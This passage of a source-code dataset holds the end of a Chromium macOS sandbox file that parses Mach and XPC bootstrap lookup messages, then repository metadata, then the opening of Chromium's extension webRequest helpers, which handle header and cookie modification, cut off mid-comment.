pack(pop) // TODO(rsesek): Libc provides strnlen() starting in 10.7. size_t strnlen(const char* str, size_t maxlen) { size_t len = 0; for (; len < maxlen; ++len, ++str) { if (*str == '\0') break; } return len; } class OSCompatibility_10_7 : public OSCompatibility { public: OSCompatibility_10_7() {} ~OSCompatibility_10_7() override {} uint64_t GetMessageSubsystem(const IPCMessage message) override { return (message.mach->msgh_id / 100) * 100; } uint64_t GetMessageID(const IPCMessage message) override { return message.mach->msgh_id; } bool IsServiceLookUpRequest(const IPCMessage message) override { return GetMessageID(message) == 404; } bool IsVprocSwapInteger(const IPCMessage message) override { return GetMessageID(message) == 416; } bool IsXPCDomainManagement(const IPCMessage message) override { return false; } std::string GetServiceLookupName(const IPCMessage message) override { return GetRequestName<look_up2_request_10_7>(message); } void WriteServiceLookUpReply(IPCMessage message, mach_port_t service_port) override { auto reply = reinterpret_cast<look_up2_reply_10_7*>(message.mach); reply->Head.msgh_size = sizeof(*reply); reply->Head.msgh_bits = MACH_MSGH_BITS_REMOTE(MACH_MSG_TYPE_MOVE_SEND_ONCE) | MACH_MSGH_BITS_COMPLEX; reply->msgh_body.msgh_descriptor_count = 1; reply->service_port.name = service_port; reply->service_port.disposition = MACH_MSG_TYPE_COPY_SEND; reply->service_port.type = MACH_MSG_PORT_DESCRIPTOR; } bool IsSwapIntegerReadOnly(const IPCMessage message) override { auto request = reinterpret_cast<const swap_integer_request_10_7*>(message.mach); return request->inkey == 0 && request->inval == 0 && request->outkey != 0; } protected: // The 10.6 and 10.7 implementations are the same except for struct offsets, // so provide this templatized helper. template <typename R> static std::string GetRequestName(const IPCMessage message) { mach_msg_header_t* header = message.mach; DCHECK_EQ(sizeof(R), header->msgh_size); const R* request = reinterpret_cast<const R*>(header); // Make sure the name is properly NUL-terminated. const size_t name_length = strnlen(request->servicename, BOOTSTRAP_MAX_NAME_LEN); std::string name = std::string(request->servicename, name_length); return name; } }; class OSCompatibility_10_10 : public OSCompatibility { public: OSCompatibility_10_10() {} ~OSCompatibility_10_10() override {} uint64_t GetMessageSubsystem(const IPCMessage message) override { return xpc_dictionary_get_uint64(message.xpc, "subsystem"); } uint64_t GetMessageID(const IPCMessage message) override { return xpc_dictionary_get_uint64(message.xpc, "routine"); } bool IsServiceLookUpRequest(const IPCMessage message) override { uint64_t subsystem = GetMessageSubsystem(message); uint64_t id = GetMessageID(message); // Lookup requests in XPC can either go through the Mach bootstrap subsytem // (5) from bootstrap_look_up(), or the XPC domain subsystem (3) for // xpc_connection_create(). Both use the same message format. return (subsystem == 5 && id == 207) || (subsystem == 3 && id == 804); } bool IsVprocSwapInteger(const IPCMessage message) override { return GetMessageSubsystem(message) == 6 && GetMessageID(message) == 301; } bool IsXPCDomainManagement(const IPCMessage message) override { return GetMessageSubsystem(message) == 3; } std::string GetServiceLookupName(const IPCMessage message) override { const char* name = xpc_dictionary_get_string(message.xpc, "name"); const size_t name_length = strnlen(name, BOOTSTRAP_MAX_NAME_LEN); return std::string(name, name_length); } void WriteServiceLookUpReply(IPCMessage message, mach_port_t service_port) override { xpc_dictionary_set_mach_send(message.xpc, "port", service_port); } bool IsSwapIntegerReadOnly(const IPCMessage message) override { return xpc_dictionary_get_bool(message.xpc, "set") == false && xpc_dictionary_get_uint64(message.xpc, "ingsk") == 0 && xpc_dictionary_get_int64(message.xpc, "in") == 0; } }; } // namespace // static std::unique_ptr<OSCompatibility> OSCompatibility::CreateForPlatform() { if (base::mac::IsOSMavericks()) return base::WrapUnique(new OSCompatibility_10_7()); else return base::WrapUnique(new OSCompatibility_10_10()); } OSCompatibility::~OSCompatibility() {} } // namespace sandbox
30.937824
79
0.718305
Wzzzx
0e8f2f0b85aaaada7ef8d6ad186f80fb85d6d9f9
67,660
cc
C++
extensions/browser/api/web_request/web_request_api_helpers.cc
chromium/chromium
df46e572c3449a4b108d6e02fbe4f6d24cf98381
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
14,668
2015-01-01T01:57:10.000Z
2022-03-31T23:33:32.000Z
extensions/browser/api/web_request/web_request_api_helpers.cc
chromium/chromium
df46e572c3449a4b108d6e02fbe4f6d24cf98381
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
86
2015-10-21T13:02:42.000Z
2022-03-14T07:50:50.000Z
extensions/browser/api/web_request/web_request_api_helpers.cc
chromium/chromium
df46e572c3449a4b108d6e02fbe4f6d24cf98381
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
5,941
2015-01-02T11:32:21.000Z
2022-03-31T16:35:46.000Z
// Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "extensions/browser/api/web_request/web_request_api_helpers.h" #include <stddef.h> #include <stdint.h> #include <algorithm> #include <cmath> #include <tuple> #include <utility> #include "base/bind.h" #include "base/containers/adapters.h" #include "base/containers/contains.h" #include "base/containers/fixed_flat_map.h" #include "base/containers/fixed_flat_set.h" #include "base/memory/scoped_refptr.h" #include "base/metrics/histogram_macros.h" #include "base/ranges/algorithm.h" #include "base/stl_util.h" #include "base/strings/string_number_conversions.h" #include "base/strings/string_piece.h" #include "base/strings/string_util.h" #include "base/time/time.h" #include "base/values.h" #include "build/chromeos_buildflags.h" #include "components/web_cache/browser/web_cache_manager.h" #include "content/public/browser/browser_context.h" #include "content/public/browser/browser_task_traits.h" #include "content/public/browser/browser_thread.h" #include "content/public/browser/render_process_host.h" #include "extensions/browser/api/declarative_net_request/request_action.h" #include "extensions/browser/api/extensions_api_client.h" #include "extensions/browser/api/web_request/web_request_api_constants.h" #include "extensions/browser/api/web_request/web_request_info.h" #include "extensions/browser/extension_registry.h" #include "extensions/browser/extension_system.h" #include "extensions/browser/extensions_browser_client.h" #include "extensions/common/api/declarative_net_request.h" #include "extensions/common/extension_messages.h" #include "net/cookies/cookie_util.h" #include "net/cookies/parsed_cookie.h" #include "net/http/http_request_headers.h" #include "net/http/http_util.h" #include "net/log/net_log_event_type.h" #include "services/network/public/cpp/features.h" #include "url/url_constants.h" #if BUILDFLAG(IS_CHROMEOS_ASH) #include "chromeos/login/login_state/login_state.h" #endif #if BUILDFLAG(IS_CHROMEOS_LACROS) #include "chromeos/crosapi/mojom/crosapi.mojom.h" // nogncheck #include "chromeos/lacros/lacros_service.h" #endif // TODO(battre): move all static functions into an anonymous namespace at the // top of this file. using base::Time; using net::cookie_util::ParsedRequestCookie; using net::cookie_util::ParsedRequestCookies; namespace keys = extension_web_request_api_constants; namespace web_request = extensions::api::web_request; using DNRRequestAction = extensions::declarative_net_request::RequestAction; namespace extension_web_request_api_helpers { namespace { namespace dnr_api = extensions::api::declarative_net_request; using ParsedResponseCookies = std::vector<std::unique_ptr<net::ParsedCookie>>; void ClearCacheOnNavigationOnUI() { extensions::ExtensionsBrowserClient::Get()->ClearBackForwardCache(); web_cache::WebCacheManager::GetInstance()->ClearCacheOnNavigation(); } bool ParseCookieLifetime(const net::ParsedCookie& cookie, int64_t* seconds_till_expiry) { // 'Max-Age' is processed first because according to: // http://tools.ietf.org/html/rfc6265#section-5.3 'Max-Age' attribute // overrides 'Expires' attribute. if (cookie.HasMaxAge() && base::StringToInt64(cookie.MaxAge(), seconds_till_expiry)) { return true; } Time parsed_expiry_time; if (cookie.HasExpires()) { parsed_expiry_time = net::cookie_util::ParseCookieExpirationTime(cookie.Expires()); } if (!parsed_expiry_time.is_null()) { *seconds_till_expiry = ceil((parsed_expiry_time - Time::Now()).InSecondsF()); return *seconds_till_expiry >= 0; } return false; } void RecordRequestHeaderRemoved(RequestHeaderType type) { UMA_HISTOGRAM_ENUMERATION("Extensions.WebRequest.RequestHeaderRemoved", type); } void RecordRequestHeaderAdded(RequestHeaderType type) { UMA_HISTOGRAM_ENUMERATION("Extensions.WebRequest.RequestHeaderAdded", type); } void RecordRequestHeaderChanged(RequestHeaderType type) { UMA_HISTOGRAM_ENUMERATION("Extensions.WebRequest.RequestHeaderChanged", type); } void RecordDNRRequestHeaderRemoved(RequestHeaderType type) { UMA_HISTOGRAM_ENUMERATION( "Extensions.DeclarativeNetRequest.RequestHeaderRemoved", type); } void RecordDNRRequestHeaderAdded(RequestHeaderType type) { UMA_HISTOGRAM_ENUMERATION( "Extensions.DeclarativeNetRequest.RequestHeaderAdded", type); } void RecordDNRRequestHeaderChanged(RequestHeaderType type) { UMA_HISTOGRAM_ENUMERATION( "Extensions.DeclarativeNetRequest.RequestHeaderChanged", type); } bool IsStringLowerCaseASCII(base::StringPiece s) { return std::none_of(s.begin(), s.end(), base::IsAsciiUpper<char>); } constexpr auto kRequestHeaderEntries = base::MakeFixedFlatMap<base::StringPiece, RequestHeaderType>( {{"accept", RequestHeaderType::kAccept}, {"accept-charset", RequestHeaderType::kAcceptCharset}, {"accept-encoding", RequestHeaderType::kAcceptEncoding}, {"accept-language", RequestHeaderType::kAcceptLanguage}, {"access-control-request-headers", RequestHeaderType::kAccessControlRequestHeaders}, {"access-control-request-method", RequestHeaderType::kAccessControlRequestMethod}, {"authorization", RequestHeaderType::kAuthorization}, {"cache-control", RequestHeaderType::kCacheControl}, {"connection", RequestHeaderType::kConnection}, {"content-encoding", RequestHeaderType::kContentEncoding}, {"content-language", RequestHeaderType::kContentLanguage}, {"content-length", RequestHeaderType::kContentLength}, {"content-location", RequestHeaderType::kContentLocation}, {"content-type", RequestHeaderType::kContentType}, {"cookie", RequestHeaderType::kCookie}, {"date", RequestHeaderType::kDate}, {"dnt", RequestHeaderType::kDnt}, {"early-data", RequestHeaderType::kEarlyData}, {"expect", RequestHeaderType::kExpect}, {"forwarded", RequestHeaderType::kForwarded}, {"from", RequestHeaderType::kFrom}, {"host", RequestHeaderType::kHost}, {"if-match", RequestHeaderType::kIfMatch}, {"if-modified-since", RequestHeaderType::kIfModifiedSince}, {"if-none-match", RequestHeaderType::kIfNoneMatch}, {"if-range", RequestHeaderType::kIfRange}, {"if-unmodified-since", RequestHeaderType::kIfUnmodifiedSince}, {"keep-alive", RequestHeaderType::kKeepAlive}, {"origin", RequestHeaderType::kOrigin}, {"pragma", RequestHeaderType::kPragma}, {"proxy-authorization", RequestHeaderType::kProxyAuthorization}, {"proxy-connection", RequestHeaderType::kProxyConnection}, {"range", RequestHeaderType::kRange}, {"referer", RequestHeaderType::kReferer}, {"te", RequestHeaderType::kTe}, {"transfer-encoding", RequestHeaderType::kTransferEncoding}, {"upgrade", RequestHeaderType::kUpgrade}, {"upgrade-insecure-requests", RequestHeaderType::kUpgradeInsecureRequests}, {"user-agent", RequestHeaderType::kUserAgent}, {"via", RequestHeaderType::kVia}, {"warning", RequestHeaderType::kWarning}, {"x-forwarded-for", RequestHeaderType::kXForwardedFor}, {"x-forwarded-host", RequestHeaderType::kXForwardedHost}, {"x-forwarded-proto", RequestHeaderType::kXForwardedProto}}); constexpr bool IsValidHeaderName(base::StringPiece str) { for (char ch : str) { if ((ch < 'a' || ch > 'z') && ch != '-') return false; } return true; } template <typename T> constexpr bool ValidateHeaderEntries(const T& entries) { for (const auto& entry : entries) { if (!IsValidHeaderName(entry.first)) return false; } return true; } // All entries other than kOther and kNone are mapped. // sec-origin-policy was removed. // So -2 is -1 for the count of the enums, and -1 for the removed // sec-origin-policy which does not have a corresponding entry in // kRequestHeaderEntries but does contribute to RequestHeaderType::kMaxValue. static_assert(static_cast<size_t>(RequestHeaderType::kMaxValue) - 2 == kRequestHeaderEntries.size(), "Invalid number of request header entries"); static_assert(ValidateHeaderEntries(kRequestHeaderEntries), "Invalid request header entries"); // Uses |record_func| to record |header|. If |header| is not recorded, false is // returned. void RecordRequestHeader(const std::string& header, void (*record_func)(RequestHeaderType)) { DCHECK(IsStringLowerCaseASCII(header)); const auto* it = kRequestHeaderEntries.find(header); record_func(it != kRequestHeaderEntries.end() ? it->second : RequestHeaderType::kOther); } void RecordResponseHeaderChanged(ResponseHeaderType type) { UMA_HISTOGRAM_ENUMERATION("Extensions.WebRequest.ResponseHeaderChanged", type); } void RecordResponseHeaderAdded(ResponseHeaderType type) { UMA_HISTOGRAM_ENUMERATION("Extensions.WebRequest.ResponseHeaderAdded", type); } void RecordResponseHeaderRemoved(ResponseHeaderType type) { UMA_HISTOGRAM_ENUMERATION("Extensions.WebRequest.ResponseHeaderRemoved", type); } void RecordDNRResponseHeaderChanged(ResponseHeaderType type) { UMA_HISTOGRAM_ENUMERATION( "Extensions.DeclarativeNetRequest.ResponseHeaderChanged", type); } void RecordDNRResponseHeaderAdded(ResponseHeaderType type) { UMA_HISTOGRAM_ENUMERATION( "Extensions.DeclarativeNetRequest.ResponseHeaderAdded", type); } void RecordDNRResponseHeaderRemoved(ResponseHeaderType type) { UMA_HISTOGRAM_ENUMERATION( "Extensions.DeclarativeNetRequest.ResponseHeaderRemoved", type); } constexpr auto kResponseHeaderEntries = base::MakeFixedFlatMap<base::StringPiece, ResponseHeaderType>({ {"accept-patch", ResponseHeaderType::kAcceptPatch}, {"accept-ranges", ResponseHeaderType::kAcceptRanges}, {"access-control-allow-credentials", ResponseHeaderType::kAccessControlAllowCredentials}, {"access-control-allow-headers", ResponseHeaderType::kAccessControlAllowHeaders}, {"access-control-allow-methods", ResponseHeaderType::kAccessControlAllowMethods}, {"access-control-allow-origin", ResponseHeaderType::kAccessControlAllowOrigin}, {"access-control-expose-headers", ResponseHeaderType::kAccessControlExposeHeaders}, {"access-control-max-age", ResponseHeaderType::kAccessControlMaxAge}, {"age", ResponseHeaderType::kAge}, {"allow", ResponseHeaderType::kAllow}, {"alt-svc", ResponseHeaderType::kAltSvc}, {"cache-control", ResponseHeaderType::kCacheControl}, {"clear-site-data", ResponseHeaderType::kClearSiteData}, {"connection", ResponseHeaderType::kConnection}, {"content-disposition", ResponseHeaderType::kContentDisposition}, {"content-encoding", ResponseHeaderType::kContentEncoding}, {"content-language", ResponseHeaderType::kContentLanguage}, {"content-length", ResponseHeaderType::kContentLength}, {"content-location", ResponseHeaderType::kContentLocation}, {"content-range", ResponseHeaderType::kContentRange}, {"content-security-policy", ResponseHeaderType::kContentSecurityPolicy}, {"content-security-policy-report-only", ResponseHeaderType::kContentSecurityPolicyReportOnly}, {"content-type", ResponseHeaderType::kContentType}, {"date", ResponseHeaderType::kDate}, {"etag", ResponseHeaderType::kETag}, {"expect-ct", ResponseHeaderType::kExpectCT}, {"expires", ResponseHeaderType::kExpires}, {"feature-policy", ResponseHeaderType::kFeaturePolicy}, {"keep-alive", ResponseHeaderType::kKeepAlive}, {"large-allocation", ResponseHeaderType::kLargeAllocation}, {"last-modified", ResponseHeaderType::kLastModified}, {"location", ResponseHeaderType::kLocation}, {"pragma", ResponseHeaderType::kPragma}, {"proxy-authenticate", ResponseHeaderType::kProxyAuthenticate}, {"proxy-connection", ResponseHeaderType::kProxyConnection}, {"public-key-pins", ResponseHeaderType::kPublicKeyPins}, {"public-key-pins-report-only", ResponseHeaderType::kPublicKeyPinsReportOnly}, {"referrer-policy", ResponseHeaderType::kReferrerPolicy}, {"refresh", ResponseHeaderType::kRefresh}, {"retry-after", ResponseHeaderType::kRetryAfter}, {"sec-websocket-accept", ResponseHeaderType::kSecWebSocketAccept}, {"server", ResponseHeaderType::kServer}, {"server-timing", ResponseHeaderType::kServerTiming}, {"set-cookie", ResponseHeaderType::kSetCookie}, {"sourcemap", ResponseHeaderType::kSourceMap}, {"strict-transport-security", ResponseHeaderType::kStrictTransportSecurity}, {"timing-allow-origin", ResponseHeaderType::kTimingAllowOrigin}, {"tk", ResponseHeaderType::kTk}, {"trailer", ResponseHeaderType::kTrailer}, {"transfer-encoding", ResponseHeaderType::kTransferEncoding}, {"upgrade", ResponseHeaderType::kUpgrade}, {"vary", ResponseHeaderType::kVary}, {"via", ResponseHeaderType::kVia}, {"warning", ResponseHeaderType::kWarning}, {"www-authenticate", ResponseHeaderType::kWWWAuthenticate}, {"x-content-type-options", ResponseHeaderType::kXContentTypeOptions}, {"x-dns-prefetch-control", ResponseHeaderType::kXDNSPrefetchControl}, {"x-frame-options", ResponseHeaderType::kXFrameOptions}, {"x-xss-protection", ResponseHeaderType::kXXSSProtection}, }); void RecordResponseHeader(base::StringPiece header, void (*record_func)(ResponseHeaderType)) { DCHECK(IsStringLowerCaseASCII(header)); const auto* it = kResponseHeaderEntries.find(header); record_func(it != kResponseHeaderEntries.end() ? it->second : ResponseHeaderType::kOther); } // All entries other than kOther and kNone are mapped. static_assert(static_cast<size_t>(ResponseHeaderType::kMaxValue) - 1 == kResponseHeaderEntries.size(), "Invalid number of response header entries"); static_assert(ValidateHeaderEntries(kResponseHeaderEntries), "Invalid response header entries"); // Represents an action to be taken on a given header. struct DNRHeaderAction { DNRHeaderAction(const DNRRequestAction::HeaderInfo* header_info, const extensions::ExtensionId* extension_id) : header_info(header_info), extension_id(extension_id) {} // Returns whether for the same header, the operation specified by // |next_action| conflicts with the operation specified by this action. bool ConflictsWithSubsequentAction(const DNRHeaderAction& next_action) const { DCHECK_EQ(header_info->header, next_action.header_info->header); switch (header_info->operation) { case dnr_api::HEADER_OPERATION_APPEND: return next_action.header_info->operation != dnr_api::HEADER_OPERATION_APPEND; case dnr_api::HEADER_OPERATION_SET: return *extension_id != *next_action.extension_id || next_action.header_info->operation != dnr_api::HEADER_OPERATION_APPEND; case dnr_api::HEADER_OPERATION_REMOVE: return true; case dnr_api::HEADER_OPERATION_NONE: NOTREACHED(); return true; } } // Non-owning pointers to HeaderInfo and ExtensionId. const DNRRequestAction::HeaderInfo* header_info; const extensions::ExtensionId* extension_id; }; // Helper to modify request headers from // |request_action.request_headers_to_modify|. Returns whether or not request // headers were actually modified and modifies |removed_headers|, |set_headers| // and |header_actions|. |header_actions| maps a header name to the operation // to be performed on the header. bool ModifyRequestHeadersForAction( net::HttpRequestHeaders* headers, const DNRRequestAction& request_action, std::set<std::string>* removed_headers, std::set<std::string>* set_headers, std::map<base::StringPiece, DNRHeaderAction>* header_actions) { bool request_headers_modified = false; for (const DNRRequestAction::HeaderInfo& header_info : request_action.request_headers_to_modify) { bool header_modified = false; const std::string& header = header_info.header; DNRHeaderAction header_action(&header_info, &request_action.extension_id); auto iter = header_actions->find(header); if (iter != header_actions->end() && iter->second.ConflictsWithSubsequentAction(header_action)) { continue; } header_actions->emplace(header, header_action); switch (header_info.operation) { case extensions::api::declarative_net_request::HEADER_OPERATION_SET: { bool has_header = headers->HasHeader(header); headers->SetHeader(header, *header_info.value); header_modified = true; set_headers->insert(header); if (has_header) RecordRequestHeader(header, &RecordDNRRequestHeaderChanged); else RecordRequestHeader(header, &RecordDNRRequestHeaderAdded); break; } case extensions::api::declarative_net_request::HEADER_OPERATION_REMOVE: { while (headers->HasHeader(header)) { header_modified = true; headers->RemoveHeader(header); } if (header_modified) { removed_headers->insert(header); RecordRequestHeader(header, &RecordDNRRequestHeaderRemoved); } break; } case extensions::api::declarative_net_request::HEADER_OPERATION_APPEND: case extensions::api::declarative_net_request::HEADER_OPERATION_NONE: NOTREACHED(); } request_headers_modified |= header_modified; } return request_headers_modified; } // Helper to modify response headers from |request_action|. Returns whether or // not response headers were actually modified and modifies |header_actions|. // |header_actions| maps a header name to a list of operations to be performed // on the header. bool ModifyResponseHeadersForAction( const net::HttpResponseHeaders* original_response_headers, scoped_refptr<net::HttpResponseHeaders>* override_response_headers, const DNRRequestAction& request_action, std::map<base::StringPiece, std::vector<DNRHeaderAction>>* header_actions) { bool response_headers_modified = false; // Check for |header| in |override_response_headers| if headers have been // modified, otherwise, check in |original_response_headers|. auto has_header = [&original_response_headers, &override_response_headers](std::string header) { return override_response_headers->get() ? override_response_headers->get()->HasHeader(header) : original_response_headers->HasHeader(header); }; // Create a copy of |original_response_headers| iff we really want to modify // the response headers. auto create_override_headers_if_needed = [&original_response_headers]( scoped_refptr<net::HttpResponseHeaders>* override_response_headers) { if (override_response_headers->get() == nullptr) { *override_response_headers = base::MakeRefCounted<net::HttpResponseHeaders>( original_response_headers->raw_headers()); } }; for (const DNRRequestAction::HeaderInfo& header_info : request_action.response_headers_to_modify) { bool header_modified = false; const std::string& header = header_info.header; DNRHeaderAction header_action(&header_info, &request_action.extension_id); auto iter = header_actions->find(header); // Checking the first DNRHeaderAction should suffice for determining if a // conflict exists, since the contents of |header_actions| for a given // header will always be one of: // [remove] // [append+] one or more appends // [set, append*] set, any number of appends from the same extension if (iter != header_actions->end() && (*header_actions)[header][0].ConflictsWithSubsequentAction( header_action)) { continue; } (*header_actions)[header].push_back(header_action); switch (header_info.operation) { case extensions::api::declarative_net_request::HEADER_OPERATION_REMOVE: { if (has_header(header)) { header_modified = true; create_override_headers_if_needed(override_response_headers); override_response_headers->get()->RemoveHeader(header); RecordResponseHeader(header, &RecordDNRResponseHeaderRemoved); } break; } case extensions::api::declarative_net_request::HEADER_OPERATION_APPEND: { header_modified = true; create_override_headers_if_needed(override_response_headers); override_response_headers->get()->AddHeader(header, *header_info.value); // Record only the first time a header is appended. appends following a // set from the same extension are treated as part of the set and are // not logged. if ((*header_actions)[header].size() == 1) RecordResponseHeader(header, &RecordDNRResponseHeaderAdded); break; } case extensions::api::declarative_net_request::HEADER_OPERATION_SET: { header_modified = true; create_override_headers_if_needed(override_response_headers); override_response_headers->get()->RemoveHeader(header); override_response_headers->get()->AddHeader(header, *header_info.value); RecordResponseHeader(header, &RecordDNRResponseHeaderChanged); break; } case extensions::api::declarative_net_request::HEADER_OPERATION_NONE: NOTREACHED(); } response_headers_modified |= header_modified; } return response_headers_modified; } } // namespace IgnoredAction::IgnoredAction(extensions::ExtensionId extension_id, web_request::IgnoredActionType action_type) : extension_id(std::move(extension_id)), action_type(action_type) {} IgnoredAction::IgnoredAction(IgnoredAction&& rhs) = default; bool ExtraInfoSpec::InitFromValue(content::BrowserContext* browser_context, const base::Value& value, int* extra_info_spec) { *extra_info_spec = 0; if (!value.is_list()) return false; base::Value::ConstListView value_list = value.GetList(); for (size_t i = 0; i < value_list.size(); ++i) { const std::string* str = value_list[i].GetIfString(); if (!str) return false; if (*str == "requestHeaders") *extra_info_spec |= REQUEST_HEADERS; else if (*str == "responseHeaders") *extra_info_spec |= RESPONSE_HEADERS; else if (*str == "blocking") *extra_info_spec |= BLOCKING; else if (*str == "asyncBlocking") *extra_info_spec |= ASYNC_BLOCKING; else if (*str == "requestBody") *extra_info_spec |= REQUEST_BODY; else if (*str == "extraHeaders") *extra_info_spec |= EXTRA_HEADERS; else return false; } // BLOCKING and ASYNC_BLOCKING are mutually exclusive. if ((*extra_info_spec & BLOCKING) && (*extra_info_spec & ASYNC_BLOCKING)) return false; return true; } RequestCookie::RequestCookie() = default; RequestCookie::RequestCookie(RequestCookie&& other) = default; RequestCookie& RequestCookie ::operator=(RequestCookie&& other) = default; RequestCookie::~RequestCookie() = default; bool RequestCookie::operator==(const RequestCookie& other) const { return std::tie(name, value) == std::tie(other.name, other.value); } RequestCookie RequestCookie::Clone() const { RequestCookie clone; clone.name = name; clone.value = value; return clone; } ResponseCookie::ResponseCookie() = default; ResponseCookie::ResponseCookie(ResponseCookie&& other) = default; ResponseCookie& ResponseCookie ::operator=(ResponseCookie&& other) = default; ResponseCookie::~ResponseCookie() = default; bool ResponseCookie::operator==(const ResponseCookie& other) const { return std::tie(name, value, expires, max_age, domain, path, secure, http_only) == std::tie(other.name, other.value, other.expires, other.max_age, other.domain, other.path, other.secure, other.http_only); } ResponseCookie ResponseCookie::Clone() const { ResponseCookie clone; clone.name = name; clone.value = value; clone.expires = expires; clone.max_age = max_age; clone.domain = domain; clone.path = path; clone.secure = secure; clone.http_only = http_only; return clone; } FilterResponseCookie::FilterResponseCookie() = default; FilterResponseCookie::FilterResponseCookie(FilterResponseCookie&& other) = default; FilterResponseCookie& FilterResponseCookie ::operator=( FilterResponseCookie&& other) = default; FilterResponseCookie::~FilterResponseCookie() = default; bool FilterResponseCookie::operator==(const FilterResponseCookie& other) const { // This ignores all of the fields of the base class ResponseCookie. Why? // https://crbug.com/916248 return std::tie(age_lower_bound, age_upper_bound, session_cookie) == std::tie(other.age_lower_bound, other.age_upper_bound, other.session_cookie); } FilterResponseCookie FilterResponseCookie::Clone() const { FilterResponseCookie clone; clone.name = name; clone.value = value; clone.expires = expires; clone.max_age = max_age; clone.domain = domain; clone.path = path; clone.secure = secure; clone.http_only = http_only; clone.age_upper_bound = age_upper_bound; clone.age_lower_bound = age_lower_bound; clone.session_cookie = session_cookie; return clone; } RequestCookieModification::RequestCookieModification() = default; RequestCookieModification::RequestCookieModification( RequestCookieModification&& other) = default; RequestCookieModification& RequestCookieModification ::operator=( RequestCookieModification&& other) = default; RequestCookieModification::~RequestCookieModification() = default; bool RequestCookieModification::operator==( const RequestCookieModification& other) const { // This ignores |type|. Why? https://crbug.com/916248 return std::tie(filter, modification) == std::tie(other.filter, other.modification); } RequestCookieModification RequestCookieModification::Clone() const { RequestCookieModification clone; clone.type = type; if (filter.has_value()) clone.filter = filter->Clone(); if (modification.has_value()) clone.modification = modification->Clone(); return clone; } ResponseCookieModification::ResponseCookieModification() : type(ADD) {} ResponseCookieModification::ResponseCookieModification( ResponseCookieModification&& other) = default; ResponseCookieModification& ResponseCookieModification ::operator=( ResponseCookieModification&& other) = default; ResponseCookieModification::~ResponseCookieModification() = default; bool ResponseCookieModification::operator==( const ResponseCookieModification& other) const { // This ignores |type|. Why? https://crbug.com/916248 return std::tie(filter, modification) == std::tie(other.filter, other.modification); } ResponseCookieModification ResponseCookieModification::Clone() const { ResponseCookieModification clone; clone.type = type; if (filter.has_value()) clone.filter = filter->Clone(); if (modification.has_value()) clone.modification = modification->Clone(); return clone; } EventResponseDelta::EventResponseDelta(const std::string& extension_id, const base::Time& extension_install_time) : extension_id(extension_id), extension_install_time(extension_install_time), cancel(false) {} EventResponseDelta::EventResponseDelta(EventResponseDelta&& other) = default; EventResponseDelta& EventResponseDelta ::operator=(EventResponseDelta&& other) = default; EventResponseDelta::~EventResponseDelta() = default; bool InDecreasingExtensionInstallationTimeOrder(const EventResponseDelta& a, const EventResponseDelta& b) { return a.extension_install_time > b.extension_install_time; } base::Value StringToCharList(const std::string& s) { base::Value result(base::Value::Type::LIST); for (size_t i = 0, n = s.size(); i < n; ++i) { result.Append(*reinterpret_cast<const unsigned char*>(&s[i])); } return result; } bool CharListToString(base::Value::ConstListView list, std::string* out) { const size_t list_length = list.size(); out->resize(list_length); int value = 0; for (size_t i = 0; i < list_length; ++i) { if (!list[i].is_int()) return false; value = list[i].GetInt(); if (value < 0 || value > 255) return false; unsigned char tmp = static_cast<unsigned char>(value); (*out)[i] = *reinterpret_cast<char*>(&tmp); } return true; } EventResponseDelta CalculateOnBeforeRequestDelta( const std::string& extension_id, const base::Time& extension_install_time, bool cancel, const GURL& new_url) { EventResponseDelta result(extension_id, extension_install_time); result.cancel = cancel; result.new_url = new_url; return result; } EventResponseDelta CalculateOnBeforeSendHeadersDelta( content::BrowserContext* browser_context, const std::string& extension_id, const base::Time& extension_install_time, bool cancel, net::HttpRequestHeaders* old_headers, net::HttpRequestHeaders* new_headers, int extra_info_spec) { EventResponseDelta result(extension_id, extension_install_time); result.cancel = cancel; // The event listener might not have passed any new headers if it // just wanted to cancel the request. if (new_headers) { // Find deleted headers. { net::HttpRequestHeaders::Iterator i(*old_headers); while (i.GetNext()) { if (ShouldHideRequestHeader(browser_context, extra_info_spec, i.name())) { continue; } if (!new_headers->HasHeader(i.name())) { result.deleted_request_headers.push_back(i.name()); } } } // Find modified headers. { net::HttpRequestHeaders::Iterator i(*new_headers); while (i.GetNext()) { if (ShouldHideRequestHeader(browser_context, extra_info_spec, i.name())) { continue; } std::string value; if (!old_headers->GetHeader(i.name(), &value) || i.value() != value) { result.modified_request_headers.SetHeader(i.name(), i.value()); } } } } return result; } EventResponseDelta CalculateOnHeadersReceivedDelta( const std::string& extension_id, const base::Time& extension_install_time, bool cancel, const GURL& old_url, const GURL& new_url, const net::HttpResponseHeaders* old_response_headers, ResponseHeaders* new_response_headers, int extra_info_spec) { EventResponseDelta result(extension_id, extension_install_time); result.cancel = cancel; result.new_url = new_url; if (!new_response_headers) return result; extensions::ExtensionsAPIClient* api_client = extensions::ExtensionsAPIClient::Get(); // Find deleted headers (header keys are treated case insensitively). { size_t iter = 0; std::string name; std::string value; while (old_response_headers->EnumerateHeaderLines(&iter, &name, &value)) { if (api_client->ShouldHideResponseHeader(old_url, name)) continue; if (ShouldHideResponseHeader(extra_info_spec, name)) continue; std::string name_lowercase = base::ToLowerASCII(name); bool header_found = false; for (const auto& i : *new_response_headers) { if (base::LowerCaseEqualsASCII(i.first, name_lowercase) && value == i.second) { header_found = true; break; } } if (!header_found) result.deleted_response_headers.push_back(ResponseHeader(name, value)); } } // Find added headers (header keys are treated case insensitively). { for (const auto& i : *new_response_headers) { if (api_client->ShouldHideResponseHeader(old_url, i.first)) continue; if (ShouldHideResponseHeader(extra_info_spec, i.first)) continue; std::string name_lowercase = base::ToLowerASCII(i.first); size_t iter = 0; std::string name; std::string value; bool header_found = false; while (old_response_headers->EnumerateHeaderLines(&iter, &name, &value)) { if (base::LowerCaseEqualsASCII(name, name_lowercase) && value == i.second) { header_found = true; break; } } if (!header_found) result.added_response_headers.push_back(i); } } return result; } EventResponseDelta CalculateOnAuthRequiredDelta( const std::string& extension_id, const base::Time& extension_install_time, bool cancel, absl::optional<net::AuthCredentials> auth_credentials) { EventResponseDelta result(extension_id, extension_install_time); result.cancel = cancel; result.auth_credentials = std::move(auth_credentials); return result; } void MergeCancelOfResponses( const EventResponseDeltas& deltas, absl::optional<extensions::ExtensionId>* canceled_by_extension) { *canceled_by_extension = absl::nullopt; for (const auto& delta : deltas) { if (delta.cancel) { *canceled_by_extension = delta.extension_id; break; } } } // Helper function for 